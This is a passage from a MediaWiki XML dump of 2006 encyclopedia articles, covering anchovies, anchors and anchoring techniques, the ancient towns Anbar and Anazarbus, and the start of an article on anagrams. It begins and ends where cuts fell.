regularly caught on the coasts of [[Sicily]], [[Turkey]], [[Italy]], [[France]] and 
Spain.  The range of the species also extends along the 
Atlantic coast of Europe to the south of [[Norway]].  In winter 
it is common off Devon and Cornwall ([[Great Britain]]), but has not hitherto been caught in such numbers as to be of commercial importance. 

Formerly they were caught in large numbers off the coast of the [[Netherlands]] in summer when they entered the [[Wadden Sea]] and [[Zuider Zee]].  After the closing of the [[Zuider Zee]] they were still found in the Wadden Sea until the [[1960s]]. They were also caught in the estuary of the [[Scheldt]].  

There is reason to believe that the anchovies found at the western end of the English Channel in November and December are those which annually migrated from the [[Zuider Zee]] and Scheldt in autumn, returning thither in the following 
spring; they were assumed to form an isolated stock, for none come up from the south in summer to occupy the [[English Channel]], though the species is resident on the coast of [[Portugal]].  

The explanation appears to be that the shallow and landlocked waters of the Zuider Zee, as well as the sea on the Dutch coast, become raised to a higher temperature in summer than any part of the sea about the British coasts, and that therefore anchovies were able to spawn and maintain their numbers in these waters.  

Their reproduction and development were first described by a Dutch naturalist from observations made on the shores of the Zuider Zee. Spawning takes place in June and July, and the eggs, like those of the majority of marine fishes, are buoyant and transparent, but they are peculiar in having an elongated, sausage-like shape, instead of being globular.  They resemble those of the sprat and [[pilchard]] in having a segmented yolk and there is no oil globule.

The larva hatch two or three days after the fertilization of the egg, and are minute and transparent.  In August young specimens 1&amp;frac12; to 3&amp;frac12; in. in length have been taken in the Zuider Zee, and these must derived from the spawning of the previous summer.

There is no evidence to decide the question whether all the young anchovies as well as the adults leave the Zuider Zee in autumn, but, considering the winter temperature there, it is probable that they do.  The eggs have also been obtained from the Bay of Naples, and near Marseilles, also off the coast 
of Holland, and once at least off the coast of Lancashire.  

The occurrence of anchovies in the English Channel has been carefully studied at the laboratory of the Marine Biological Association at Plymouth. They were most abundant in 1889 and 1890.  In the former year considerable numbers were taken off Dover in drift nets of small mesh used for the capture of sprats.  In the following December large numbers were taken together with sprats at Torquay.  In November 1890 a thousand of the fish were obtained in two days from the pilchard boats fishing near Plymouth; these were caught near the Eddystone.

[[Category:Anchovies]]

[[ca:Aladroc]]
[[es:Engraulis encrasicholus]]
[[lt:Ančiuvis]]
[[nl:Ansjovis]]
[[ru:Анчоус]]
[[tr:Hamsi]]</text>
    </revision>
  </page>
  <page>
    <title>Anchor</title>
    <id>1358</id>
    <revision>
      <id>40758594</id>
      <timestamp>2006-02-22T21:00:25Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>/* Modern designs */ sp.</comment>
      <text xml:space="preserve">:''For alternate meanings see [[anchor (disambiguation)]]''

A ship's or boat's '''anchor''' is used to attach the vessel to the bottom at a specific point. There are two primary classes of anchors—temporary and permanent. A permanent anchor is often called a ''[[mooring]]'', and is rarely moved; it's quite possible the vessel cannot hoist it aboard but must hire a service to move or maintain it. A temporary anchor is usually carried by the vessel, and hoisted aboard whenever the vessel is under way.

An anchor works by resisting the movement force of the vessel which is attached to it. There are two primary ways to do this - via sheer mass, and by &quot;hooking&quot; into the [[seabed]]. It may seem logical to think wind and currents are the largest forces an anchor must overcome, but actually the vertical movement of [[Ocean surface wave|waves]] develop the largest loads, and modern anchors are designed to use a combination of technique and shape to resist all these forces.

[[Image:Anchor1.png|right|frame|A stocked ship's anchor.&lt;small&gt;&lt;br /&gt;a. Shank&lt;br /&gt;b. Crown&lt;br /&gt;c. Arm&lt;br /&gt;d. Fluke&lt;br /&gt;e. Point&lt;br /&gt;f. &amp; g. Eye and Ring&lt;br /&gt;h. Stock&lt;br /&gt;i. Fisherman's bend&lt;/small&gt;]]
The kind of anchor you probably envision is a temporary anchor, the kind which might be carried aboard a [[ship]] or a [[boat]]. A modern temporary anchor usually consists of a central bar called the ''shank'', and an armature with some form of flat surface (''fluke'' or ''palm'') to grip the bottom and a point to assist penetration of the bottom; the position at which the armature is attached to the shank is called the ''crown'', and the shank is usually fitted with a ring or shackle to attach it to the [[cable]]. There are many variations and additions to these basic elements—for example, the whole class of anchors which include a ''stock'' such as the [[anchor#Fisherman|fisherman]] and [[anchor#Fluke|fluke]] anchors.

A permanent anchor, on the other hand, may come in a wide range of types and has no standard form. A slab of rock with an iron ''staple'' in it to attach a chain to serves very well, as does a Chevy long-block motor. Modern moorings may be anchored by sand screws which look and act very much like over-sized screws drilled into the seabed, or by barbed metal beams pounded in (or even driven in with explosives) like pilings, or a variety of other non-mass means of getting a grip on the bottom. One method of building a mooring is to use three or more temporary anchors laid out with short lengths of chain attached to a swivel, so no matter which direction the vessel moves one or more anchors will be aligned to resist the force.

An interesting element of anchor jargon is the term ''under weigh'', which describes the anchor when it is hanging on the rope, not on the bottom; this is linked to the term ''to weigh anchor'', meaning to lift the anchor from the sea bed, allowing the ship or boat to move. Usually an anchor is described as ''under weigh'' when it has been broken out of the bottom and is being hauled up to the boat because all the weight of the anchor and rode (a term for the chain linking the anchor and the ship) are lifted, and when lifted from the water it becomes ''stowed''. Although the terms may be linked, ''under weigh'' should not be confused with ''under way'', which describes a vessel which is moving through the water,


== Development ==

The earliest anchors were probably rocks and many rock anchors have been found dating from at least the [[Bronze Age]]. Many modern moorings still rely on a large rock as the primary element of their design. It simply works. However, using pure mass to resist the forces of a storm only works well as a permanent mooring; trying to move a large enough rock to another bay is nearly impossible.

A simple anchor using a pair of wood arms under a rock mass is a primitive anchor which is still in use today. The wood arms are pointed to penetrate the bottom, and the mass will overcome normal movement forces. Together they comprise what may have been the first successful attempts to hook into the seabed and use the strength there to prevent a vessel from moving. Almost all future anchor developments combine these two elements—a penetrating point and a reasonable mass.

In the western world the vast majority of anchors worked on the concept of the grappling hook—multiple points on arms such that at least one will be aimed toward the bottom. Suddenly the concept of the stock, a bar placed perpendicular to the hooking arm at the other end of the shank which would roll the anchor over so the point would penetrate the bottom, was developed and within a single century became the standard anchor type.

In the East, however, another model of anchor had been known for some time which also used a stock, but with the stock located at the crown along with the arm. This successful model is still built today in virtually unchanged form. It also informed such modern designs as the [[US Navy]]'s stockless Mark IV and the [[anchor#Fluke|fluke-style anchor]].

== Designs of temporary anchors  ==

The range of designs is wide, but there are actually trends in designs for modern anchors which allow them to be classed as ''hook, plow'', and ''fluke'' types, depending on the method by which they set.

* ''Hook'' designs use a relatively small fluke surface on a heavy, narrow arm to penetrate deeply into problematic bottoms such as rocky, heavy kelp or eel grass, coral, or hard sand. Two of the more common versions of this design are the [[anchor#Fisherman|fisherman]] and the [[anchor#Grapnel|grapnel]].

* ''Plow'' designs are reminiscent of the antique farm plow, and are designed to bury themselves the bottom as force is applied to them, and are considered good in most bottom conditions from soft mud to rock. ''North sea'' designs are actually a variation of a plow in how they work; they bury into the bottom using their shape.

* ''Fluke'' designs use large fluke surfaces to develop very large resistance to loads once they dig into the seabed. Although they have less ability to penetrate and are designed to reset rather than turn, their light weight makes them very popular.

In the past 20 years or so, many new anchor designs have appeared. Driven by the popularity of private pleasure boats, these anchors are usually designed for small to medium sized vessels, and are usually not appropriate for large ships. See [[anchor#Modern_designs|modern designs]].

=== Fisherman ===
[[Image:fisherman2-sm.jpg|thumb|left|A fisherman style anchor suspended against the bows]]
A traditional design, the fisherman, also known as a ''kedge'', is familiar to people who've never used an anchor. The design is a non-burying type, with one arm penetrating the seabed and the other standing proud. The anchor is popular as the ultimate storm anchor, and has a good reputation for use in rock, hard bottoms, and kelp or eel grass covered bottoms. The three piece versions can be stowed quite compactly, and most versions include a folding stock so the anchor may be stowed flat on deck.
[[Image:Walraversijde28.jpg|thumb|right|250px|Medieval kedge with double stock; ca. 1465]]
The primary weakness of the design is its ability to foul the cable over changing tides. Once fouled the anchor is likely to drag. In comparison tests the fisherman design developed much less resistance than other anchors of similar weight. It is difficult to bring aboard without scarring the topsides, and does not stow in a hawse pipe or over an anchor roller.
&lt;br style=&quot;clear:both;&quot; /&gt;

=== Fluke ===

[[Image:Fluke anchor.gif|thumb|A fluke-style anchor]]

The most common commercial brand is the Danforth, which is sometimes used as a generic name for the class. The fluke style uses a stock at the crown to which two large flat surfaces are attached. The stock is hinged so the flukes can orient toward the bottom (and on some designs may be adjusted for an optimal angle depending on the bottom type.) The design is a burying variety, and once well set can develop an amazing amount resistance. Its light weight and compact flat design make it easy to retrieve and relatively easy to store; some anchor rollers and hawse pipes can accommodate a fluke-style anchor. A few high-performance designs are available, such as the Fortress, which are lighter in weight for a given area and in tests have shown better than average results.

The fluke anchor has difficulty penetrating kelp and weed-covered bottoms, as well as rocky and particularly hard sand or clay bottoms. If there is much current or the vessel is moving while dropping the anchor it may &quot;kite&quot; or &quot;skate&quot; over the bottom due to the large fluke area acting as a sail or wing. Once set, the anchor tends to break out and reset when the direction of force changes dramatically, such as with the changing tide, and on some occasions it might not reset but instead drag.

=== Grapnel ===
[[Image:Grapnel-sm.jpg|thumb|A grapnel-style anchor]]
A traditional design, the grapnel style is simple to design and build. It has a benefit in that no matter how it reaches the bottom one or more tines will be aimed to set. The design is a non-burying variety, with one or more tines digging in and the remainder above the seabed. In coral it is often able to set quickly by hooking into the structure, but may be more difficult to retrieve. A grapnel is often quite light, and may have additional uses as a tool to recover gear lost overboard; its weight also makes it relatively easy to bring aboard.

Grapnels rarely have enough fluke area to develop much hold in sand, clay, or mud. It is not unknown for the anchor to foul on its own rode, or to foul the tines with refuse from the bottom, preventing it from digging in. It is quite possible for this anchor to find such a good hook that, without a trip line, it is impossible to retrieve. The shape is generally not very compact, and is difficult to stow, although there are a few collapsing designs available.

=== North sea ===
[[Image:Anchor_Bruce.jpg|thumb|Small-boat version of the popular Bruce]]
Designed originally for anchoring floating oil derricks in the [[North Sea]], this versatile design has become a popular option for smaller boaters as well. The burying design acts similarly to a large scoop, and is known for the speed with which it digs in. Although not an articulated design, it has the reputation of not breaking out with tide or wind changes, instead slowly turning in the bottom to align with the force. Some versions of the design, such as the Bruce, are reputed to be easy to retrieve once broken out of the bottom, and some anchor rollers can accommodate their shank.

North sea designs may have difficulty penetrating weedy bottoms, rock, and coral. They can be particularly difficult to break out.  Although they can be got aboard without scarring the topsides, they take up an inordinate amount of locker space. They cannot be used with hawse pipes.

[[Image:Anchor_CQR.jpg|thumb|A CQR anchor]]
=== Plow ===
Several companies produce a plow-style design, and they are particularly popular with cruising sailors. Plows are generally good in all bottoms, but not exceptional in any. The CQR design has a hinged shank, allowing the anchor to turn with direction changes rather than breaking out, and also arranged to force the point of the plow into the bottom if the anchor lands on its side. Another commercial design, the Delta uses an unhinged shank and a plow with specific angles to develop very similar performance. Both can be stored in some anchor roller designs

The plow is heavier than the average for the amount of resistance developed, and may take slightly longer pull to set thoroughly. It cannot be stored in a hawse pipe.


=== Modern designs ===
[[Image:Anchor_Rocna.jpg|thumb|The New Zealand designed Rocna is an example of modern anchor design]]
In recent years there has been something of a spurt in anchor design. Primarily designed to set very quickly, then generate superior holding power, these anchors (mostly proprietary inventions still under patent) are finding homes with users of small to medium sized vessels.
* The German designed ''Bügel'' has a sharp tip for penetrating weed, and features a roll-bar which orients the anchor to the correct attitude on the seabed
* The ''Bulwagga'' is a unique design featuring three flukes instead of the regular two. It has performed well in tests by independent sources such as American boating magazine ''Practical Sailor''. [http://www.noteco.com/bulwagga/ Manufacturer's website]
* The ''Spade'' is a French design particularly popular with sailors. Although relatively expensive, it performs well, and features a demountable shank and optional aluminium construction, which means a lighter and more easily stowable anchor
* The New Zealand designed ''Rocna'' is a new anchor gaining popularity amongst cruisers. It too features a sharp toe for penetrating weed and grass, and has a particularly large fluke area. Its roll-bar is similar to that of the Bügel, and means the correct setting attitude is achieved without the need for extra weight to be inserted into the tip (an inefficiency common in other anchor types). [http://www.rocna.com/ Manufacturer's website]
&lt;br style=&quot;clear:both;&quot; /&gt;

== Designs of permanent anchors  ==

These are used where the vessel is permanently sited, for example in the case of [[lightvessel]]s or channel marker [[buoy]]s.  The anchor needs to hold the vessel in all weathers, including the most severe [[storm]], but only occasionally, or never, needs to be lifted, only for example if the vessel is to be towed into port for maintenance. An alternative to using an anchor under these circumstances may be to use a pile driven into the seabed.

=== Mushroom ===

The mushroom anchor is suitable where the seabed is composed of silt or fine sand.  It was invented by [[Robert Stevenson]], for use by an 82 ton converted fishing boat, ''Pharos'', which was used as a [[lightvessel]] between [[1807]] and [[1810]] near to [[Bell Rock]] whilst the [[lighthouse]] was being constructed. It was equipped with a 1.5 ton example.

It is shaped like an inverted mushroom, the head becoming buried in the silt.  A counterweight is often provided at the other end of the shank to lay it down before it becomes buried. 

A mushroom anchor will normally sink in the silt to the point where it has displaced its own weight in bottom material. These anchors are only suitable for a silt or mud bottom, since they rely upon suction and cohesion of the bottom material, which rocky or coarse sand bottoms lack. The holding power of this anchor is at best about twice its weight unless it becomes buried, when it can be as much as ten times its weight[http://www.inamarmarine.com/pdf/Moorings.pdf]. They are available in sizes from about 10 lb up to several tons.

=== Deadweight ===

This is an anchor which relies solely on being a heavy weight.  It is usually just a large block of concrete or stone at the end of the chain.  Its holding power is equal to its weight underwater (i.e. taking its buoyancy into account) regardless of the type of seabed, although suction can increase this if it becomes buried.  Consequently deadweight anchors are used where mushroom anchors are unsuitable, for example in rock, gravel or coarse sand. An advantage of a deadweight anchor over a mushroom is that if it does become dragged, then it continues to provide its original holding force.  The disadvantage of using deadweight anchors in conditions where a mushroom anchor could be used is that it needs to be around ten times the weight of the equivalent mushroom anchor..

== Anchoring techniques ==
[[Image:AS_HMAS Canberra_1.jpg|thumb|200px|right|Naval anchor incorporated into [[HMAS Canberra (1927)]] memorial, [[Canberra]], [[Australia]]]]

Heaving an anchor over the side is not good enough. There are several elements to anchor gear to be considered, and there are techniques to ensure a good ''set''. This article can discuss some of this information, but it is by no means a treatise for safe anchoring.

=== Anchoring gear ===

The elements of anchoring gear include the anchor, the cable (also called a ''rode''), the method of attaching the two together, the method of attaching the cable to the ship, charts, and a method of learning the depth of the water.

Charts are vital to good anchoring. Knowing the location of potential dangers, as well as being useful in estimating the effects of weather and tide in the anchorage, is essential in choosing a good place to drop the hook. One can get by without referring to charts, but they are an important tool and a part of good anchoring gear, and a skilled mariner would not choose to anchor without them.

The depth of water is necessary for determining ''scope'', which is the ratio of length of cable to the depth measured from the highest point (usually the anchor roller or bow chock) to the seabed. For example, if the water is 25ft (8m) deep, and the anchor roller is 3ft (1m) above the water, the scope is the ratio between the amount of cable let out and 28ft (9m). For this reason it is important to have a reliable and accurate method of measuring the depth of water. 

A cable or rode is the rope, chain, or combination thereof used to connect the anchor to the vessel. Neither rope nor chain is fundamentally superior as a cable or there would not be continued argument over the issue; each has its strengths and its weaknesses and it is not the purpose of this article to address these.

=== Anchoring ===

The four primary questions to be considered before actually anchoring:
:# Is the anchorage protected?
:# Is the seabed good holding ground?
:# What is the depth, tidal range, and the current tide state?
:# Is there enough room?

==== Is the anchorage protected? ====

A good anchorage offers protection from the current weather conditions, and will also offer protection from the expected weather. You should also consider if the anchorage will be suitable for other purposes, for example can you get safely to shore in your dinghy if that is one of your goals. And keep in mind comfort; a rolly harbor is no fun.

==== Is the seabed good holding ground? ====

You should have charts to indicate the kind of bottom, as well as a tool such as a [[sounding lead]] to collect a sample from the bottom. Generally speaking, most anchors will hold well in sandy mud, mud and clay, or firm sand. Loose sand and soft mud are not desirable bottoms, and especially soft mud which should be avoided if at all possible. Rock, coral, and shale prevent anchors from digging in, although some anchors are designed to hook into such a bottom. Grassy bottoms may be good holding, but only if the anchor can penetrate the bottom.

==== What is the depth, tidal range, and the current tide state? ====

If your anchorage is affected by [[tide]], you need to know the tide range and the times of high and low water. You need enough depth for your vessel throughout the range it might swing, at low tide, not just where you drop the anchor. This is also important when determining [[scope]], which should be figured for high tide and not the current tide state.

==== Is there enough room? ====

If your anchorage is affected by tide, you should keep in mind that the swing range will be larger at low tide than at high tide. However, no matter where you anchor you need to consider what the larges possible swing range will be, and what obstacles and hazards might be within that range. Keep in mind that other vessels in the anchorage may have a swing range which can overlap yours. Boats on permanent moorings, or shorter scope, may not swing as far as you expect them to, or may swing either more rapidly or more slowly than your vessel (all-chain cables tend to swing more slowly than all-rope or chain-and-rope cables.)

There are techniques of anchoring to limit the swing of a vessel if the anchorage has limited room.

=== Methods ===

The basic anchoring consists of determining the location, dropping the anchor, laying out the scope, setting the hook, and assessing where the vessel ends up. After figuring out on the chart where a desirable location would be, the vessel need to actually see what the situation is like; there may be other boats who thought that would be a good spot, or weather conditions are different than expected, or even additional hazards not noted on the chart which make a planned location undesirable.

If the location is good, the location to drop the anchor should be approached from down wind or down current, whichever is stronger. As the chosen spot is approached, the vessel should be stopped or even beginning to drift back. The anchor should be lowered quickly but under control until it is on the bottom. The vessel should continue to drift back, and the cable should be veered out under control so it will be relatively straight.

Once the desired scope is laid out (a minimum of 8:1 for setting the anchor, and 5:1 for holding, though the preferred ratio is 10:1 for both setting, and holding power), the vessel should be gently forced astern, usually using the auxiliary motor but possibly by backing a sail. A hand on the anchor line may telegraph a series of jerks and jolts, indicating the anchor is dragging, or a smooth tension indicative of digging in. As the anchor begins to dig in and resist backward force, the engine may be throttled up to get a thorough set. If the anchor continues to drag, or sets after having dragged to far, it should be retrieved and moved back to the desired position (or another location chosen.)

With the anchor set in the correct location, everything should be reconsidered. Is the location protected, now and for the forecast weather? Is the bottom a suitable holding ground, and is the anchor the right one for this type of bottom? Is there enough depth, both now and at low tide? Especially at low tide but also at all tide states, is there enough room for the boat to swing? Will another vessel swing into us, or will we swing into another vessel, when the tide or wind changes?

Some other techniques have been developed to reduce swing, or to deal with heavy weather.
:* [[Anchor#Forked moor|Forked moor]]
:* [[Anchor#Bow and Stern|Bow and Stern]]
:* [[Anchor#Bahamian moor|Bahamian moor]]
:* [[Anchor#Backing an anchor|Backing an anchor]]

==== Forked moor ====

Using two anchors set approximately 45° apart, or wider angles up to 90°, from the bow is a strong mooring for facing into strong winds. To set anchors in this way, first one anchor is set in the normal fashion. Then, taking in on the first cable as the boat is motored into the wind and letting slack while drifting back, a second anchor is set approximately a half-scope away from the first on a line perpendicular to the wind. After this second anchor is set, the scope on the first is taken up until the vessel is lying between the two anchors and the load is taken equally on each cable.

This moor also to some degree limits the range of a vessel's swing to a narrower oval. Care should be taken that other vessels will not swing down on the boat due to the limited swing range.

==== Bow and stern ====

Not to be mistaken with the '''[[Anchor#Bahamian moor|Bahamian moor]]''', below.

In the ''Bow and Stern'' technique, an anchor is set off each the bow and the stern, which can severely limit a vessel's swing range and also align it to steady wind, current or wave conditions. One method of accomplishing this moor is to set a bow anchor normally, then drop back to the limit of the bow cable (or to double the desired scope, e.g. 8:1 if the eventual scope should be 4:1, 10:1 if the eventual scope should be 5:1, etc.) to lower a stern anchor. By taking up on the bow cable the stern anchor can be set. After both anchors are set, tension is taken up on both cables to limit the swing or to align the vessel.

==== Bahamian moor ====

Similar to the above, a ''Bahamian moor'' is used to sharply limit the swing range of a vessel, but allows it to swing to a current. One of the primary characteristics of this technique is the use of a swivel as follows: the first anchor is set normally, and the vessel drops back to the limit of anchor cable. A second anchor is attached to the end of the anchor cable, and is dropped and set. A swivel is attached to the middle of the anchor cable, and the vessel connected to that. 

The vessel will now swing in the middle of two anchors, which is acceptable in strong reversing currents but a wind perpendicular to the current may break out the anchors as they are not aligned for this load.

==== Backing an anchor ====

Also known as ''Tandem anchors'', in this technique two anchors are shackled to a single cable running crown-to-shank. With the leading anchor holding the cable down and the tension between the anchors taking load off, this technique can develop great holding power and has been used in &quot;ultimate storm&quot; circumstances. It does not limit swinging range, and might not be appropriate for crowded anchorages.

=== Kedging ===

''Kedging'' is a technique for moving or turning a ship by using a relatively light anchor known as a ''kedge''. It was of particular relevance to sailing warships which used them to out-manoeuvre opponents when the wind had dropped but might be used by any vessel in confined, shoal water to place it in a more desirable position, provided she had enough manpower.

== References ==
{{commons|anchor}}
* Edwards, Fred; ''Sailing as a Second Language: An illustrated dictionary,'' 1988 Highmark Publishing; ISBN 0-87742-965-0
* Hinz, Earl R.; ''The Complete Book of Anchoring and Mooring, Rev. 2d ed.,'' 1986, 1994, 2001 Cornell Maritime Press; ISBN 0-87033-539-1
* Hiscock, Eric C.; ''Cruising Under Sail, second edition,'' 1965 Oxford University Press; ISBN 0-19-217522-X
* Pardey, Lin and Larry; ''The Capable Cruiser,''; 1995 Pardey Boooks/Paradise Cay Publications; ISBN 0-9646036-2-4
* Rousmaniere, John; ''The Annapolis Book of Seamanship,'' 1983, 1989 Simon and Schuster; ISBN 0-671-67447-1
* Smith, Everrett; ''Cruising World's Guide to Seamanship: Hold me tight,'' 1992 New York Times Sports/Leisure Magazines

== External links ==
* [http://www.northstarmarinesupplies.com/ North Star Marine Supplies]- Popular online anchoring store.
* [http://www.inamarmarine.com/pdf/Moorings.pdf Inamar recommendations for safe moorings]
* [http://www.nightbeacon.com/lighthouseinformation/articles/Lightship_Anchors.htm Lightship anchors]
* [http://www.rocna.com/boat_anchors/new_gen_boat_anchors.html A Process of Evolution] — An essay on boat anchors by New Zealand boatbuilder, offshore cruiser, &amp; consultant Peter Smith
* [http://www.expressandstar.com/cgi-bin/artman/exec/view.cgi?archive=20&amp;num=59220&amp;printer=1 the titanic task that put the town on the map]
* [http://titanic-model.com/articles/anchor/titanics_center_anchor.htm titanics centre anchor].
* [http://www.yampy.co.uk/netherton/article.php?article=yamp782.txt all about the anchor some good photos]
* [http://www.newman.ac.uk/Students_Websites/~w.j.smith/history.html history of netherton]

[[Category:Nautical terms]]
[[Category:Ship construction]]
[[Category:Sailing ship elements]]

[[da:Anker (søfart)]]
[[de:Anker]]
[[es:ancla]]
[[fa:لنگر]]
[[fr:Ancre]]
[[he:עוגן]]
[[io:Ankro]]
[[ja:錨]]
[[la:Ancora]]
[[lv:Enkurs]]
[[nl:Anker (schip)]]
[[pl:Kotwica]]
[[pt:Âncora]]
[[ru:Корабельный якорь]]
[[fi:Ankkuri]]
[[sv:Ankare]]
[[zh:锚]]</text>
    </revision>
  </page>
  <page>
    <title>Anbar</title>
    <id>1359</id>
    <revision>
      <id>37226663</id>
      <timestamp>2006-01-29T16:36:13Z</timestamp>
      <contributor>
        <username>KI</username>
        <id>701676</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">:''For the province of Iraq see [[al Anbar]]''

'''Anbar''', originally called '''Firuz Shapur''', or '''Perisapora''', a town founded about AD [[350]] by [[Shapur II of Persia|Shapur (Sapor) II]], [[Sassanid dynasty|Sassanid]] king of [[Persia]], on the east bank of the [[Euphrates]], just south of the Nahr Isa, or Sakhlawieh [[canal]], the northernmost of the canals connecting that river with the [[Tigris]], in lat. 33 deg.  22' N., long. 43 deg.  49' E. 

It was captured and destroyed by the emperor [[Julian the Apostate|Julian]] in A.D. [[363]], but speedily rebuilt.
It became a refuge for the [[Christianity|Christian]] and [[Jew]]ish colonies of that region, and there are said to have been 90,000 Jews in the place at the time of its capture by [[Ali ibn Abi Talib]] in [[657]].
The Arabs changed the name of the town to Anbar (&quot;[[granaries]]&quot;).

Abu al-Abbas as-Saffah, the founder of the [[Abbasid]] caliphate, made it his capital, and such it remained until the founding of [[Baghdad]] in [[762]]. It continued to be a place of much importance throughout the Abbasid period, but now it is now entirely deserted, occupied only by ruin mounds. Their great extent indicates the former importance of the city.

==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Anazarbus</title>
    <id>1360</id>
    <revision>
      <id>37553930</id>
      <timestamp>2006-01-31T19:18:09Z</timestamp>
      <contributor>
        <username>Vriullop</username>
        <id>750481</id>
      </contributor>
      <minor />
      <comment>interwiki +ca</comment>
      <text xml:space="preserve">'''Anazarbus''' (med. '''Ain Zarba'''; mod. [[Anavarza]]) was an ancient [[Cilicia]]n city, situated in [[Anatolia]] in modern [[Turkey]], in the [[Aleian plain]] about 10 miles west of the main stream of the [[Pyramus river]] (Jihun) and near its tributary the [[Sempas Su]].

A lofty isolated ridge formed its [[acropolis]]. Though some of the masonry in the ruins is certainly pre-Roman, the [[Suda]]'s identification of it with [[Cyinda]], famous as a treasure city in the wars of [[Eumenes of Cardia]], cannot be accepted in the face of [[Strabo]]'s express location of Cyinda in western Cilicia.  

Under the early [[Roman empire]] the place was known as '''Caesarea''', and was the metropolis of [[Cilicia Secunda]]. Rebuilt by the emperor [[Justin I]] after an [[earthquake]], it became '''Justinopolis''' ([[525]]); but the old native name persisted, and when [[Thoros I of Armenia|Thoros I]], king of [[Lesser Armenia]], made it his capital early in the [[12th century]], it was known as '''Anazarva'''.  

Its great natural strength and situation, not far from the mouth of the [[Sis pass]], and near the great road which debouched from the [[Cilician Gates]], made Anazarbus play a considerable part in the struggles between the [[Byzantine Empire]] and the early [[Muslim]] invaders. It had been rebuilt by [[Harun al-Rashid]] in [[796]], refortified at great expense by [[Saif ad-Daula]], the [[Hamdanid]] (10th century) and sacked, and ruined by the crusaders. 

The present wall of the lower city is of late construction, probably Armenian.  It encloses a mass of ruins conspicuous in which are a fine [[triumphal arch]], the colonnades of two streets, a [[gymnasium (ancient Greece)|gymnasium]], etc. A stadium and a theatre lie outside on the south.  The remains of the acropolis fortifications are very interesting, including roads and ditches hewn in the rock; but beyond ruins of two churches and a fine tower built by Thoros I. There are no notable structures in the upper town.  For picturesqueness the site is not equalled in Cilicia, and it is worthwhile to trace the three fine [[aqueduct]]s to their sources.

A visit in December, 2002 showed that the three aqueducts mentioned above have been nearly completely destroyed. Only small, isolated sections are left standing with the largest portion lying in a pile of rubble that stretches the length of where the aqueducts once stood. A powerful earthquake that struck the area in 1945 is thought to be responsible for the destruction. 
----
{{1911}}


[[Category: Anatolia]]

[[ca:Anazarbe]]
[[pl:Anazarbus]]
[[de:Anazarba]]</text>
    </revision>
  </page>
  <page>
    <title>Anagram</title>
    <id>1361</id>
    <revision>
      <id>41464673</id>
      <timestamp>2006-02-27T14:55:54Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.66.123.13|71.66.123.13]] ([[User talk:71.66.123.13|talk]]) to last version by 205.210.253.10</comment>
      <text xml:space="preserve">An '''anagram''' ([[Greek language|Greek]] ''ana-'' = &quot;back&quot; or &quot;again&quot;, and ''graphein'' = &quot;to write&quot;) is a type of [[word play]], the result of rearranging the letters of a word or phrase to produce other words, using all the original letters exactly once.  Anagrams are often expressed in the form of an equation, with the equals symbol (=) separating the original subject and the resulting anagram. ‘Earth = heart’ is an example of a simple anagram expressed so.  In a more advanced, sophisticated form of anagramming, the aim is to ‘discover’ a result that has a linguistic meaning that defines or comments on the original subject in a humorous or ironic way; e.g., '''''Roll in the hay = Thrill a honey''''' (discovered by Tony Crafter).  When the subject and the resulting anagram form a complete sentence, a tilde (~) is used instead of an equal sign; e.g., '''''[[Semolina]] ~ is no meal.'''''

==History==
The construction of anagrams is an [[amusement]] of great [[Ancient history|antiquity]]. [[Jew]]s are often credited with the invention of anagrams, probably because later Hebrew writers, particularly [[Kabbalist]]s, were fond of it, asserting that &quot;secret mysteries are woven in the numbers of letters&quot;. Anagrams were known to the [[ancient Greece|Greek]]s and also to the [[ancient Rome|Roman]]s, although the known [[Latin]] examples of words of more than one syllable are nearly all imperfect. The Romans called the art of finding anagrams the &quot;ars magna&quot; (great art). Interestingly, &quot;ars magna&quot; is a perfect anagram of the word &quot;anagrams&quot;. 

They were popular throughout [[Europe]] during the [[Middle Ages]].

Indeed, the right to lampoon royalty and politicians via anagram was enshrined in English law in 1215, when King John, albeit under duress, signed the [[Magna Carta]] ''(Magna Carta  = Anagram Act)'' at Runnymede, in Surrey, and later, particularly in [[France]], where an &quot;Anagrammatist to the King&quot; was appointed by [[Louis XIII of France|Louis XIII]].   W. Camden (''Remains,'' 7th ed., 1674) defines &quot;Anagrammatisme&quot; as &quot;a dissolution of a name truly written into his letters, as his elements, and a new connection of it by artificial transposition, without addition, subtraction or change of any letter, into different words, making some perfect sense applyable (i.e., ''applicable'') to the person named.&quot; [[John Dryden|Dryden]] disdainfully called the pastime the &quot;torturing of one poor word ten thousand ways&quot; but many men and women of note have found amusement in it. 

A well-known anagram is the change of &quot;Ave Maria, gratia plena, Dominus tecum&quot; (''Hail Mary, full of grace, the Lord [is] with you'') into &quot;Virgo serena, pia, munda et immaculata&quot; (''Bright virgin, pious, clean and spotless''). Among others are the anagrammatic answer to [[Pilate]]'s question, &quot;Quid est veritas?&quot; (''What is truth?''), namely, &quot;Est vir qui adest&quot; (''It is the man who is here''); and the transposition of &quot;[[Horatio Nelson]]&quot; into &quot;Honor est a Nilo&quot; (Latin = ''Honor is from the [[Nile]]''); and of &quot;[[Florence Nightingale]]&quot; into &quot;Flit on, cheering angel&quot;. [[James I of England|James I]]'s courtiers discovered in &quot;James Stuart&quot; &quot;a just master&quot;, and converted &quot;Charles James Stuart&quot; into &quot;Claimes Arthur's seat&quot;. &quot;Eleanor Audeley&quot;, wife of [[Sir John Davies]], is said to have been brought before the High Commission in 1634 for extravagances, stimulated by the discovery that her name could be transposed to &quot;Reveale, O Daniel&quot;, and to have been laughed out of court by another anagram submitted by the [[Dean of Arches|dean of the Arches]], &quot;Dame Eleanor Davies&quot;, &quot;Never soe mad a ladie&quot;.

==Numerical anagrams==
Numerical anagrams use [[Roman numeral]]s within words. These numeral letters, taken together according to their numerical values, express some epoch, such as the year of an event.{{ref label|1728|1|^}}

An example of this kind is a [[distich]] of [[Godart]] on the birth of the [[List of French monarchs|French king]] [[Louis XIV of France|Louis XIV]], which occurred in the year 1638, on a day wherein there was an [[astrology|astrological]] [[conjunction]] of the [[Aquila (constellation)|Eagle]] with the [[Regulus|Lion's Heart]]:

:&quot;e'''X'''or'''I'''ens '''D'''e'''L'''ph'''I'''n aq'''VIL'''æ '''C'''or'''DI'''sq'''V'''e '''L'''eon'''I'''s
